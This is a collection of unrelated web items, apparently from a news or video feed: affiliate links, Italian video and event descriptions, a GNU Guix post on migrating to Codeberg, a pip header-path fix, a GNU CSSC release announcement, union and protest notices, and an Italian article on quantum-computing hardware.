SenseCAP Solar Node P1-Pro: https://www.seeedstudio.com/SenseCAP-Solar-Node-P1-Pro-for-Meshtastic-LoRa-p-6412.html?sensecap_affiliate=GEYK6Gf&referring_service=link

Wio Tracker L1 Pro: https://www.seeedstudio.com/Wio-Tracker-L1-Pro-p-6454.html?sensecap_affiliate=GEYK6Gf&referring_service=link

SenseCAP Card Tracker T1000-E for Meshtastic: https://www.seeedstudio.com/SenseCAP-Card-Tracker-T1000-E-for-Meshtastic-p-5913.html?sensecap_affiliate=GEYK6Gf&referring_service=link

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Geografie d'acqua: paesaggi ibridi. Presentazione del libro di Francesco Visentin

L'8 aprile 2026 il geografo Francesco Visentin, docente all'Università di Udine, ha presentato il suo libro Geografie d'acqua: paesaggi ibridi (Marsilio, 2024) alla libreria Modo Infoshop di Bologna, in dialogo con Wu Ming 1 e con letture dell'attore Marco Manfredi. Incontro organizzato da Bologna for Climate Justice. L'irregimentazione dei fiumi come «colonizzazione della pioggia»; la desocializzazione dell'acqua; siccità e scarsità d'acqua non sono la stessa cosa; l'esondazione non è l'alluvione; i fiumi non sono linee blu; viviamo in un mondo di tubi, nel tubocene; camminare come forma di conoscenza; l'archivio e i luoghi; i concetti di wetness e solastalgia eccetera.

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Follow the Money — Soldi Sporchi, Affari Puliti: Come Cosa Nostra Ricicla Miliardi

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Come fa la mafia a trasformare milioni di dollari di sangue e droga in ville, pale eoliche e scaffali di supermercati? Il denaro sporco non scompare — cambia forma. E chi sa dove guardare riesce ancora a seguirne la scia.

In questa terza e ultima parte di "Follow the Money" scopriamo il destino dei grandi clan mafiosi dopo la guerra di mafia degli anni Ottanta. Gli Inzerillo e i Gambino — i cosiddetti "scappati" — tornano in Sicilia dopo decenni di esilio americano e riprendono silenziosamente il controllo degli affari. Seguiamo gli investimenti segreti di Matteo Messina Denaro nell'energia eolica e nella grande distribuzione. E restiamo senza parole davanti al ritrovamento dei 200 milioni nascosti dai Tamburello.

Cosa trovi in questo video:
✔️ Il ritorno degli Inzerillo e dei Gambino in Sicilia dopo l'esilio americano
✔️ Come Matteo Messina Denaro investiva nella green economy e nell'eolico
✔️ La penetrazione di Cosa Nostra nella grande distribuzione alimentare
✔️ Il ritrovamento dei 200 milioni nascosti dalla famiglia Tamburello
✔️ I meccanismi del riciclaggio mafioso nell'economia legale italiana
✔️ Come lo Stato ha cercato — e spesso fallito — di seguire il denaro

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• Non vengono promossi comportamenti contrari alla legge.
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BAD DRIVERS OF ITALY dashcam compilation 6.22 - ERRORE 404

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Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
Vuoi inviarci le clip della TUA DASHCAM? Guarda come fare su https://bit.ly/inviavideo
Seguici sui canali BDOI per essere AGGIORNATO e vedere le MIGLIORI CLIP https://bit.ly/canalibdoi
Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
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This video shows DANGEROUS behaviors not to imitate! Always drive carefully!
Do you want to send us the clips of YOUR DASHCAM? See how on https://bit.ly/inviavideo
Follow us on BDOI channels to be UPDATED and see the BEST CLIPS https://bit.ly/canalibdoi
Do you have any questions or curiosities? COMMENT below the video or CONTACT US https://bit.ly/contattabdoi

#baddriversofitaly #dashcam #compilation
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MVVblog nel 1995

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Musica https://www.youtube.com/watch?v=N9_kZkVuuQ4

Attrezzature nel video :

Stampante InkJet Epson Stylus Color 720dpi
Scanner A4 SCSI Trust
Highscreen Colani Tower 486DX4 66MHz
Highscreen Colani Tower Pentium 90MHz
2 x Monitor VGA Highscreen 15 pollici

486DX2 con scheda controller Lion Lamb
per pilotare a passo uno i BetacamSP
e scheda video TIGA a 24bit 720x576
con uscite Y/C PAL

Animga 4000/40 con monitor Addonics VGA 15 pollici
2 x Monitor Commodore 1084s
Monitor Pioneer da 22 Pollici (TV monitor Hi-Fi non ricordo il modello)
Mixer Video Panasonic WJ-AVE5
Centralina di montaggio SONY
Videoregistratore Sony BetacamSP UVW1800p
Lettore Sony BetacamSP UVW1600p
2 x Videoregistratori Sony SLV-R1000 S-VHS
Videoregistratore S-VHS Mitsubishi HS-E70
Videoregistratore Sony EV500E Hi8
Mixer Audio Tascam M-06st
Lettore CD Pioneer Pd-4050
Registratore a cassette Pioneer CT-737
Casse acustiche Pioneer CS-767
Equalizzatore audio e amplificatore di cui non ricordo nulla
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HO 32 ANNI e NON HO UNA CASA

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Voglio comprare casa, ma sembra impossibile. Comprare prima casa a 32 anni è una sfida complessa tra mutui, visite e burocrazia. Ecco la realtà senza filtri del mercato.

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GNU Guix: One year with Codeberg

A year ago, Guix migrated to Codeberg for source code hosting, issue tracking, and pull requests. This is a significant change for a project with more than 400 people contributing code each year, after more than decade hosting code at Savannah and dealing with bug reports and patches by email, tracked by a Debbugs instance. This article discusses the process that led to this change and lists some takeaways, a year later.

The non-obvious choice

For years before, the question of our choice of source code hosting and collaboration tools would regularly come up. However, with a community effectively built around the existing tools and workflows, a change to a pull-request workflow was far from obvious—even if many would admit that yes, pull requests are more familiar to many younger hackers than patches and bug reports by email.

Active contributors were efficient with the email workflow—often thanks to Emacs and/or to top-notch email clients—while at the same time being critical of “modern” Web-based forges: after all, Debbugs weighs in at a few hundred lines of Perl, building upon the battle-tested standards and built-in federation of email, whereas a forge like Forgejo is much bigger with hundreds of Go dependencies.

A further complication is that, over time, contributors had built tools around this workflow: mumi would provide a nice web interface to Debbugs and the Quality Assurance service would automatically apply patch series in a Git branch and build packages from that branch—to give the most visible examples. Migrating was all but obvious.

Despite these achievements, dissatisfaction was palpable though, even more so when Steve George (a.k.a. Futurile) published the results of the first user and contributor survey in January 2025, with feedback from no less than 900 people. For contributors who took part in the survey, the email workflow was often mentioned as a hindrance.

Making decisions

As if things were not difficult enough, there was no “benevolent dictator” that the project could rely on to make a sharp decision. Instead, in December 2024, the project adopted a process for collective decision-making: the Guix Consensus Document (GCD) process. The process is ambitious: instead of merely asking “project members” (a concept that needs to be properly defined!) to vote on proposals, authors of proposals are expected to work with everyone to build consensus on the proposal; participants cannot merely “oppose” a proposal but should instead express their needs and suggest concrete changes to address them. At the end of the process, participants can “support”, “accept”, or “disapprove” the final revision of the proposal.

It is too early to tell whether the GCD process will stand the test of time—as of this writing seven proposals were submitted through this process, with varying outcomes—but it surely proved to be a good way to work collectively on the forge migration issue, which was the first real-world use of the GCD process.

GCD 002 was submitted in February 2025 as a proposal to migrate to Codeberg for source code hosting and collaboration. The discussion lasted for two months—the maximum duration permitted by the process—with contributions by many people. Two thirds of the Guix team members participated in the deliberation, among which 72% expressed “support” while the remaining 28% merely “accepted” the proposal; nobody “disapproved” it so the proposal came into force in early May 2025.

The discussion showed that many long-time contributors were not comfortable with the idea of moving to a workflow largely perceived as Web-first and inefficient compared to the email workflow. The idea of abandoning part of the infrastructure carefully built around the email workflow over the years was also unappealing. Yet, the prospect of reaching out to a broader community and improving the developer experience for many was probably a driving force that led to this positive outcome.

One thing in the proposal that didn’t trigger much debate though is the preference both for a free-software-based forge and for one hosted by a non-profit, Codeberg e.V. This choice is very much in line with the Guix ethos.

Switchover

As agreed-upon in the GCD, the switch to Codeberg was incremental: the main repository was migrated on May 25th, 2025, with the former repository still available as a mirror today; the former issue and patch tracker was kept active until January 1st, 2026, when Codeberg issues and pull requests became the only supported mechanisms (but older bug reports and patches remain accessible on-line).

Thanks to the planning devised during the consensus-building discussion, there were few hiccups and surprises when we switched. The quality of service achieved by the Codeberg e.V. employees and volunteers has been very good and the occasional downtime was usually short and clearly communicated.

For some of us, the main difficulty was to adapt to the new workflow. For those who prefer a workflow out of the browser, the good news is that Emacs interfaces—fj.el and more recently Emacs-Forgejo—have been getting better everyday thanks to their amazing developers; the ability to create pull requests using the AGit workflow has also helped bring peace and harmony.

The one issue that wasn’t sufficiently anticipated is continuous integration for pull requests. The part of qa.guix.gnu.org that would previously build packages for patches sent by email was not ported to Codeberg. For several months, it was up to reviewers to make sure that pull requests would not break anything—a situation that was not sustainable.

Screenshot of a “review” by @guix-cuirass-bot that specifies successful and failed package builds.

In September 2025, an instance of Cuirass was set up at pulls.ci.guix.gnu.org to finally build pull requests. This was initially seen as a stopgap because of several limitations compared to what qa.guix.gnu.org would previously do—such as the fact that packages now get built for a single architecture. However, one advantage for newcomers is that feedback is immediately visible: Cuirass sends reports indicating success or failure directly in pull requests as guix-cuirass-bot.

Renewed collaboration

One of the intuitions and hope we had when we decided to migrate to Codeberg is that the pull-request workflow and its Web interface would allow us to reach out to a broader set of contributors. How did it go?

A first insight is that the commit rate—measured as the number of commits pushed on the main branch—is a noisy metric that doesn’t reveal much. What we see by looking at the period from May 2024 to May 2026 (so one year before and one year after the migration) essentially shows that the commit rate remained essentially between “high” and “very high”:

Graph showing the monthly commit rate between May 2024 and May 2026.

(As an aside, where are the tools to plot statistics like this from a Git repository? I found myself hacking something together.)

Looking at contributions is more insightful. The plot below shows the number of monthly commit authors, the number of monthly committers, and the number of new commit authors each month (people who authored a commit for the first time in the Git history) for that same period.

Graph showing monthly contributions to Guix.

The number of monthly authors, including new authors, keeps growing. There was a peak both in the number of authors and number of newcomers in June 2025, right after the migration to Codeberg, but for the rest growth appears to be comparable in the 2025–2026 half and in the 2024–2025 half. Guix keeps attracting new contributors but there wasn’t a significant “Codeberg effect”.

The slight increase in number of monthly committers compared to the sharper increase in number of authors might suggest that committers are more “productive”, handling more contributions.

Since the user survey highlighted some contributors were frustrated by the delay or the lack of response on contributed patches—a problem that many free software projects struggle with—a question is how well Guix deals with that today. The graph below shows the creation and closing rate of pull requests per month over the past year, together with the monthly backlog (pull requests opened the month before or earlier and still opened). This data was acquired using the amazing Forgejo interface.

Graph showing pull request rate from May 2025 to May 2026.

This again shows an impressive rate of incoming code—more than 500 pull requests opened each month!—and an equally impressive, but slightly lower, merge rate, leading to a constantly-increasing backlog. A similar backlog was observed on Debbugs before. Today, there are about 639 opened pull requests out of 6,459 ever opened, or 10%; for comparison, Nixpkgs has 12k opened pull requests out of 473k ever opened, or 2.5%. This concerning backlog in Guix can perhaps be attributed to excessive friction and/or insufficient continuous integration feedback.

One source of friction is the requirement for each commit to be signed by an authorized committer. Unlike many other projects, including Nixpkgs, this requirement means that a person needs to take responsibility and to apply and sign changes they merge, as opposed to just clicking the “Merge” button. In a way, we’re trading developer convenience for user security. It’s a tradeoff we’re willing to make because we care about securing the “software supply chain”, but we have yet to see if this cost can be mitigated in some way.

On the bright side, and although this is harder to measure, one positive impact of the move to Codeberg is that activity within the project is more legible. I already mentioned continuous integration that provides feedback directly in pull requests, such that contributors immediately discover it, but there’s more.

Guix teams are reified as Codeberg teams and their scope is given the CODEOWNERS file such that the right people are pinged. A bot also adds a corresponding label—e.g., the team-python label for what’s in the scope of the Python team—allowing for issue and pull request filtering by label. However, teams are not notified of issues tagged with the corresponding label, which is irritating.

Other features such as cross-references among issues/pull requests as well as milestones also appear to facilitate collaboration.

Outlook

This is nice and all but there’s still room for improvement.

Our infrastructure could use some help. Build power for pulls.ci.guix.gnu.org should be increased, ideally with also more diversity—building for non-x86 architectures would be great! Cuirass itself has a number of shortcomings; some are being addressed for the upcoming 1.4.x series but there’s more work to be done. And also, pulls.ci.guix.gnu.org remains very much package-oriented; it would be nice, when appropriate, to run system tests as well.

The packager workflow still leaves a bit to be desired, in particular with regards to topic branches and world rebuild scheduling, which is still mostly tied to… our otherwise retired bug tracker.

We also want to remain good citizens, not causing excessive load on Codeberg servers (oops!) and keeping an eye on storage use: a single “fork” of Guix could exceed Codeberg’s new per-user quota of 750 MiB. The solution would be to require new contributors to use the AGit workflow to create pull requests. AGit is already popular among Guix contributors; however, the idea of requiring it is seen as a “downgrade” by some because it lacks the familiarity of the “regular” pull request workflow. One way to mitigate that might be to make it more discoverable with an “AGit fork” icon as was done for Gentoo.

Part of being a good citizen, for Guix and for Codeberg e.V., is listening to and accounting for one another’s concern, and this has worked beautifully so far. Guix Foundation recently voted to become a supporting (non-voting) member of Codeberg e.V. as a way to express gratitude and support.

Oh, breaking news: a pull request adding Forgejo and a service to set it up on Guix has just been submitted! Purely declarative configuration, fully reproducible deployment of a forge—can you imagine⁈ Symbiosis at play.

Acknowledgments

Many thanks to Steve “Futurile” George, Noé Lopez, and Maxim Cournoyer for reviewing an earlier draft of this post.

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DIFENDIAMO GLI ORTI URBANI DI VIA GOITO DALLA CEMENTIFICAZIONE Martedì 23 giugno alle ore 10:00 sotto il TRIBUNALE CIVILE DI LIVORNO.

Il 23 giugno si svolgerà un'altra asta di vendita dell'area verde di Via Goito, un importantissimo polmone verde di 6 ettari, vitale per la nostra città.
Dopo tre infami tentativi di vendere gli orti all’asta, ci troviamo ancora ad assistere al misero tentativo di speculazione edilizia ai danni di uno degli ultimi polmoni verdi di via Goito, diventato nel corso degli anni simbolo di resistenza attiva contro ogni forma di cementificazione.
L'amministrazione comunale avrebbe avuto la possibilità di cambiarne la destinazione d'uso, togliendo di fatto l'edificabilità, oppure acquistare il terreno. Ma preferisce non farlo, condannandolo all'ennesima speculazione edilizia che la nostra città sarà costretta a subire.
Scendiamo in piazza uniti per esprimere il nostro dissenso: non un centimetro di cemento verrà colato.


No alla distruzione del Parco di via Goito!

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Apro i vostri pacchi e trovo un Telefunken HIGH COM CN750 Compader- La posta di MVVblog

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🥼SUPPORTO AL CANALE:
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🪛SOLO per Sponsor e affiliati: mvvblogbusiness@gmail.com
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Timeline:
00:00 - Intro e arrivo di una valanga di pacchi nel bunker.
00:48 - Unboxing: mini casse Creative router e subwoofer.
05:02 - Il volo del proiettore Super 8 Bauer
05:34 - Unboxing: componenti da una console DJ e recupero pezzi.
06:38 - Aggiornamento progetto giradischi con JLC PCB.
07:41 - Test velocità (33/45 giri) e smontaggio motore giradischi.
08:37 - Action figure e gadget dal Giappone (Hatsune Miku).
09:39 - Riduttore di rumore Telefunken High Com: analisi interna.
11:17 - Test audio e funzionamento del sistema High Com.
12:22 - LaserDisc di film cult e Stereo8 "zozzi".
13:25 - Unboxing tecnico: il Supergrandangolo di Flash Gordon.
15:00 - Dispositivo streaming LiveU Solo.
15:31 - TV portatile con radio e lettore CD: test completo.
17:24 - Action figure nel bunker e tanti saluti a soreta!

#unboxing #hatsunemiku #actionfigures #anime #tecnologia #telefunken #posta #mvvblog
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Gary Benson: longintrepr.h

Did your pip install fail with longintrepr.h: No such file or directory? The file likely is on your system, but it sometime or another it was moved, from /usr/include/python3.xx/longintrepr.h to /usr/include/python3.xx/cpython/longintrepr.h. The proper fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this:

ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include
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BASTA RINVII, BASTA PROMESSE. È IL MOMENTO DI INTERVENIRE

USB proclama per mercoledì 24 giugno uno sciopero di 24 ore di tutti i lavoratori e le lavoratrici del polo siderurgico di Piombino, in concomitanza con l'incontro convocato presso la Regione Toscana.

A distanza di mesi dagli annunci e dagli impegni assunti, il quadro industriale continua a essere caratterizzato da incertezze, ritardi e mancanza di garanzie.

La firma dell'Accordo di Programma da parte di JSW non è ancora arrivata. Sul fronte Metinvest registriamo continui slittamenti rispetto al cronoprogramma presentato. Nel frattempo la guerra in Ucraina, elemento che incide direttamente sulle prospettive del progetto, è tutt'altro che conclusa e continua ad alimentare dubbi sulla reale sostenibilità degli investimenti annunciati.

Ancora più grave è l'assenza di qualsiasi concreta clausola di salvaguardia occupazionale capace di garantire il futuro dei lavoratori coinvolti nei processi di riconversione e rilancio del sito.

USB denuncia inoltre le crescenti difficoltà di convivenza industriale tra i due soggetti privati chiamati a operare nell'area siderurgica. Una situazione che rischia di trasformare Piombino nell'ennesimo laboratorio di promesse mancate, mentre il tempo passa e il prezzo continua a essere pagato esclusivamente dai lavoratori, dalle loro famiglie e dall'intero territorio.

Eppure il polo siderurgico di Piombino viene indicato dal Governo e dal Ministero delle Imprese e del Made in Italy come un sito strategico per l'interesse nazionale. Se davvero è così, non è più accettabile assistere all'ennesima sequenza di rinvii, incertezze e continui impieghi di risorse pubbliche senza risultati concreti sul piano industriale e occupazionale.

Per USB, dopo questi mesi di attese e promesse disattese, è necessario cambiare radicalmente approccio.

Il Governo deve esercitare i poteri della Gold Power e assumere un ruolo diretto nel futuro del polo siderurgico di Piombino, fino alla nazionalizzazione dell'asset strategico, garantendo investimenti, occupazione, tutela salariale e una reale prospettiva industriale per il territorio.

 

Non possiamo più permettere che il futuro di migliaia di lavoratori e di un settore strategico per il Paese resti ostaggio di interessi privati, ritardi e operazioni che finora hanno prodotto soltanto incertezza.

L'unico prezzo pagato fino ad oggi è stato quello imposto ai lavoratori e alle lavoratrici, costretti a vivere anni di ammortizzatori sociali, precarietà e mancanza di prospettive, mentre il territorio continua a subire gli effetti di una crisi che sembra non avere fine.

Mercoledì 24 giugno fermiamo il polo siderurgico di Piombino.

Per il lavoro, per l'industria, per il territorio.

 

USB PIOMBINO

USB INDUSTRIA NAZIONALE – CATEGORIA OPERAIA

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PER LA PALESTINA, CONTRO I TRAFFICI DI ARMI E LA MILITARIZZAZIONE DEI PORTI : LA MOBILITAZIONE DEL 18 GIUGNO A LIVORNO

La giornata del 18 giugno a Livorno si è aperta con una conferenza stampa e un presidio al Varco Valessini, promossi da USB e partecipati dalle realtà livornesi con cui da mesi condividiamo il percorso di mobilitazione a sostegno del popolo palestinese, insieme a realtà del territorio pisano, tra cui il Movimento No Base e il Coordinamento per il Boicottaggio di Israele.


Gli interventi che si sono susseguiti hanno espresso sostegno al passaggio nel nostro territorio delle imbarcazioni della Global Intifada e la Ghassan Kanafani di Freedom Flotilla Italia, impegnate in un viaggio lungo le coste italiane con l'obiettivo di contribuire alla rottura dell'assedio imposto a Gaza, denunciare la complicità dei governi europei con il governo israeliano e contrastare il traffico di armi dirette verso la Palestina.
Le finalità di questa iniziativa sono pienamente coerenti con il percorso di lotta che le realtà presenti portano avanti nei rispettivi territori. Da tempo denunciamo e contrastiamo, con tutti gli strumenti a nostra disposizione, il transito di armamenti nei porti e l'utilizzo delle infrastrutture portuali per attività e finalità militari.


In questo quadro si inserisce anche la richiesta avanzata da Drass di ottenere una concessione su una banchina dell'area portuale di Livorno, sottraendo spazi all'uso civile del porto per destinarli ad attività legate al settore militare, nello specifico ai test di sommergibili destinati all'Indonesia.
A ciò si aggiungono il traffico di armamenti e il ruolo di hub logistico militare svolto dal porto di Livorno nel collegamento, via mare e via terra, con la base statunitense di Camp Darby.


Il passaggio delle imbarcazioni ha rappresentato simbolicamente questi temi e queste lotte: l'attraversamento del porto nelle vicinanze delle aree interessate dalle richieste di Drass e il successivo percorso lungo il Canale dei Navicelli, che costeggia Camp Darby e lungo il quale transitano carichi militari diretti verso diversi luoghi di oppressione e conflitto, compresa la Palestina.


Oggi abbiamo scelto di muoverci lungo le rotte delle armi per ribadire il nostro dissenso verso il riarmo, la militarizzazione dei territori e la guerra, e per riaffermare il nostro sostegno al popolo palestinese. Una mobilitazione che continuerà e che sarà ancora più forte, qualora proseguano i processi di militarizzazione del porto e del territorio.

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Stages of Star Formation

This NASA/ESA/CSA James Webb Space Telescope Picture of the Month shows the giant molecular cloud Orion A, an area of the sky replete with star-forming clouds.

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BAD DRIVERS OF ITALY dashcam compilation 6.18 - POSSEDUTO

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Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
Vuoi inviarci le clip della TUA DASHCAM? Guarda come fare su https://bit.ly/inviavideo
Seguici sui canali BDOI per essere AGGIORNATO e vedere le MIGLIORI CLIP https://bit.ly/canalibdoi
Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
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This video shows DANGEROUS behaviors not to imitate! Always drive carefully!
Do you want to send us the clips of YOUR DASHCAM? See how on https://bit.ly/inviavideo
Follow us on BDOI channels to be UPDATED and see the BEST CLIPS https://bit.ly/canalibdoi
Do you have any questions or curiosities? COMMENT below the video or CONTACT US https://bit.ly/contattabdoi

#baddriversofitaly #dashcam #compilation
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Milano celebra il femminile con “Donne in Rinascita”

Una serata di danza, arte e trasformazione

Tre quadri, nove performance e decine di artiste in scena per raccontare la forza della rinascita femminile. Domenica 21 giugno il Teatro del Borgo di Milano ospita “Donne in Rinascita”, la rassegna di Metiss’Art dedicata al valore delle donne attraverso la danza e la ricerca artistica.

Milano 17 Giugno 2026 – La rassegna di danze etniche e danze di ricerca ideata e realizzata dalle insegnanti e dalle allieve di Metiss’Art propone una riflessione artistica sul percorso di crescita, consapevolezza e trasformazione delle donne attraverso il linguaggio universale della danza. 

In un momento storico in cui il tema dell’empowerment femminile è sempre più centrale nel dibattito culturale e sociale, la rassegna offre uno spazio di espressione e condivisione dove il corpo diventa strumento di racconto, memoria e rinascita.

Lo spettacolo si sviluppa in tre quadri narrativi che accompagnano il pubblico in un percorso di crescita e trasformazione. Alle 19.00 prende il via “Conoscere e accogliere”, dedicato alla scoperta di sé e all’accettazione della propria identità. Alle 20.00 è la volta di “Trovare il cammino”, incentrato sulla ricerca della propria direzione e della forza interiore. La serata si conclude alle 21.00 con “Raccogliere i frutti”, celebrazione della maturazione personale e della consapevolezza raggiunta.

Sul palco si alterneranno danze persiane contemporanee, danza orientale, fusion, teatrodanza, FCBD Style, Danza Duende e altre forme espressive che, pur provenendo da tradizioni diverse, condividono la capacità di raccontare l’universo femminile nelle sue molteplici sfaccettature: fragilità e coraggio, radici e cambiamento, ascolto e determinazione.

Particolarmente significativa è la performance “Donne in Rinascita”, che dà il titolo all’intera rassegna e che si ispira a simboli e archetipi femminili legati alla trasformazione e alla rinascita. Un omaggio alla capacità delle donne di rigenerarsi, reinventarsi e costruire nuovi percorsi personali e collettivi.

L’iniziativa vuole inoltre valorizzare il contributo delle donne alla vita culturale della città, promuovendo il dialogo tra generazioni, culture e linguaggi artistici differenti. Attraverso la danza, Metiss’Art propone una visione del femminile come energia creativa, inclusiva e generatrice di cambiamento.

https://www.metissart.org/news/36615/amp-quot-donne-in-rinascita

Teatro del Borgo – Via Giovanni Verga 5, Milano

Biglietti:

Intera rassegna: 20 euro

Singolo quadro: 10 euro 

Prenotazioni: info@metissart.org

DONNE IN RINASCITA    

Domenica 21 giugno 2026

Dalle ore 19.00 alle ore 23.00   


L'articolo Milano celebra il femminile con “Donne in Rinascita” proviene da InfoMilano.news.

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cssc @ Savannah: CSSC-1.5.0-rc3 is released

This is to announce CSSC-1.5.0-rc3, a beta release.

This is a release candidate for a future stable 1.5.0 release.

There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Greg A. Woods (1)
  Paul Bryce (2)
  James Youngman (43)

James
==================================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... -1.5.0-rc3.tar.gz
  https://alpha.gnu ... .0-rc3.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0-rc3.tar.gz
  SHA256 sum:   a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
  SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.

For a summary of changes and contributors, see:

  https://gitweb.gi ... tlog;h=v1.5.0-rc3

or run this command from a git-cloned CSSC directory:

  git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

  • Noteworthy changes in release 1.5.0-rc3 (2026-06-14)


        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
  could not previously be invoked via the sccs wrapper.
  Thanks to Greg A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
          to avoid a warning message from GNU grep.  Some very old
          versions of Unix may not support this option.

        * Various C++ portability improvements.

  • Updated version of gnulib.


  • Updated version of googletest; this is now at the last

          version at which it still supported building with Automake.

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La sfida industriale dei computer quantistici

Immagine in evidenza rielaborata con IA

La computazione quantistica è una delle tecnologie più discusse degli ultimi anni e l’idea di costruire sistemi di calcolo basati sui fenomeni della fisica quantistica continua ad alimentare aspettative enormi. Eppure il quantum computing resta lontano dall’essere una tecnologia matura. Non soltanto perché molti problemi scientifici devono ancora essere risolti, ma anche perché, al momento, manca una filiera industriale in grado di produrre in modo scalabile, e a costi sostenibili, l’hardware necessario a far funzionare un computer quantistico.

Come si può immaginare, costruire un hardware simile è molto complesso. Servono materie prime rare, chimica avanzata, sistemi criogenici sofisticati, ottica di precisione e componenti prodotti da un numero ristretto di aziende specializzate.

Il problema fondamentale è che un computer quantistico non deve semplicemente “calcolare”. Deve riuscire a “mantenere in vita” stati fisici estremamente fragili e utilizzarli per il calcolo. La grande promessa del quantum computing – sfruttare fenomeni quantistici come la sovrapposizione e l’entanglement per eseguire operazioni impraticabili per i computer tradizionali – dipende infatti dalla capacità di isolare gli effetti quantistici dalle interferenze del mondo esterno. Il problema, come anticipato anche da Heisenberg, è che gli stati quantistici sono incredibilmente instabili. Basta pochissimo per distruggerli: una vibrazione microscopica, una minima interferenza elettromagnetica, una variazione termica impercettibile. Questo significa che la prima e principale sfida da affrontare per produrre un computer quantistico è quella di costruire una specie di guscio che isoli il processo di calcolo dal “rumore” dell’ambiente esterno.

La sfida del freddo

Una delle interferenze più difficili da controllare è il calore. Per questo molti computer quantistici – in particolare quelli basati su circuiti superconduttori, una delle architetture oggi più sviluppate da aziende come IBM e Google — operano a temperature vicinissime allo zero assoluto, inferiori persino a quelle dello spazio profondo. Per raggiungerle servono sofisticati sistemi criogenici chiamati dilution refrigerator (refrigeratore a diluizione): strutture metalliche, simili a candelabri barocchi, che sono diventate una delle immagini simbolo del quantum computing.

Uno degli elementi chiave per il funzionamento di questi refrigeratori è invece l’elio-3. Rarissimo sulla Terra, l’elio-3 è un isotopo in proporzione più abbondante sulla superficie lunare, dove si è accumulato per miliardi di anni a causa del bombardamento del vento solare. I depositi di elio-3 diffusi nella regolite lunare alimentano da decenni miti tecnologici su future miniere sulla Luna che oggi, nell’era del “capitalismo spaziale”, paiono meno fantascientifici di un tempo. E del resto si può facilmente immaginare come un eventuale aumento della domanda di questo isotopo, connessa alla crescita del quantum computing, potrebbe rendere ancora più allettante l’avvio di attività estrattive lunari.  Nell’attesa, gran parte dell’elio-3 disponibile sul nostro pianeta deriva indirettamente dal decadimento del trizio prodotto nei vecchi programmi nucleari militari, creando così un cortocircuito tra una tecnologia di frontiera e i residui industriali della guerra fredda.

Questa dipendenza da materie prime estremamente specializzate rende la filiera dei refrigeratori a diluzione molto fragile. A produrre queste macchine, infatti, sono pochissime aziende al mondo. La finlandese Bluefors, per esempio, è diventata in pochi anni uno dei principali fornitori dell’industria quantistica globale, ma anche uno degli snodi più delicati dell’intera catena produttiva. Se oggi si osserva la struttura industriale del quantum computing, ci si accorge infatti che il settore assomiglia meno all’industria informatica classica e più a un ecosistema di nicchie iperspecializzate, dove pochi attori controllano componenti essenziali e difficilmente sostituibili.

Una pluralità di approcci

Un ulteriore problema del quantum computing è che, almeno per ora, non esiste un’unica architettura dominante. Coesistono approcci diversi, ciascuno dei quali richiede infrastrutture, materiali e competenze specifici. Se i computer quantistici basati su circuiti superconduttori richiedono criogenia avanzata, i computer quantistici basati sugli “ioni intrappolati” dipendono invece da laser ad altissima stabilità, vuoto ultra-spinto e componenti fotonici delicatissimi. Altri approcci ancora – come quelli basati sui qubit fotonici o sugli atomi neutri (atomi privi di carica elettrica controllati tramite laser) – richiedono invece fibre e circuiti ottici a bassissima perdita, sorgenti luminose avanzate, specchi e cavità ottiche ad altissima qualità e, in alcuni casi, dispositivi microfabbricati costruiti con tolleranze estremamente ridotte.

